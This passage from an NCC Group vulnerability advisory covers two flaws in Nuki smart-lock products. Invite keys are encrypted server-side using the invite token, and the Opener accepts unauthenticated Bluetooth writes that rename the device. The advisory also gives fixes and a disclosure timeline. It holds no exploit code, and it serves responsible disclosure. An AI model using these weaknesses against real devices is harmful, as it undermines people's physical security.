If malicious actor can take control of Nuki servers, this insecure implementation could facilitate the leak of this sensitive information and the invite user impersonation.

Details

Based on conversations with Nuki, the invite functionality, which allows inviting users to interact with the Keyturner either temporarily or permanently, used the invite token to encrypt and decrypt the invite keys on server-side (Nuki Servers), which would reduce the effectiveness of the encryption implementation.

Encryption and decryption of sensitive information (such us invite keys) should be implemented on the client-side (administrator and invite user) and the encryption keys never known by Nuki.

Recommendation

Based on conversations with the Nuki team, it is known that the invite functionality was designed to work when the temporary user is not close the hardware device, that means, some external resources (Nuki Server e.g.) would be required.

Nevertheless, it is highly recommended implementing a strong encryption to avoid sensitive data (such as invite keys) being stored or sent out of the secure and trusted client environment.

A most secure implementation can be implemented by using a pre-shared key shared between the Keyturner administration and the invite user (as the invitation token is exchanged) in order to encrypt all invitation data (including the invitation key) before sending it to the Nuki servers. This would ensure that only the invite user could decrypt the sensitive information stored on the Nuki servers.

Opener Name Could Be Overwritten Without Authentication

Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Opener (<1.8.1)

Authors:
- Daniel Romero: daniel.romero@nccgroup.com
- Pablo Lorenzo: pablo.lorenzo@nccgroup.com
- Guillermo Del Valle Gil: guillermo.delvallegil@nccgroup.com

CVE Identifier: N/A

Risk: 2.1 (CVSS:2.0/AV:L/AC:L/Au:N/C:N/I:P/A:N)

Summary

Opener Bluetooth Low Energy (BLE) characteristics were implemented insecurely.

Impact

The device allowed an unauthenticated attacker to change the BLE device name.

Details

The following were some of the services and characteristics available through the BLE protocol:

BLE write characteristic enabled

As seen in the image above, the “Device Name” characteristic had write access enabled. As a result, it was possible to send a write command to the device and change its name.

Recommendation

Require authentication for write operations on the device.

Vendor Communication

April 20 2022: Nuki was informed about the vulnerabilities found during the research.
May 6 2022: Nuki provided information to NCC Group about the fixes progress and potential release dates.
June 9 2022: Nuki released the vulnerability patches for all of our submitted vulnerabilities and informed to their clients.
June 19 2022: Nuki provided updates about the patching progress of their clients.
July 25 2022: Technical advisories were released

Thanks to

The Nuki team for their work during the whole process of responsible vulnerability disclosure. They have worked closely with NCC Group in order to provide security fixes for all the vulnerabilities found during the research to their customers. Therefore, we would like to praise their professionalism, responsiveness and the commitment to the security of their product.

Matt Lewis (Commercial Research Director at NCC Group) for his help and support during the disclosure process.

About NCC Group

NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate & respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cybersecurity.

Published date:  July 25 2022

Written by:  Daniel Romero, Pablo Lorenzo and Guillermo del Valle Gil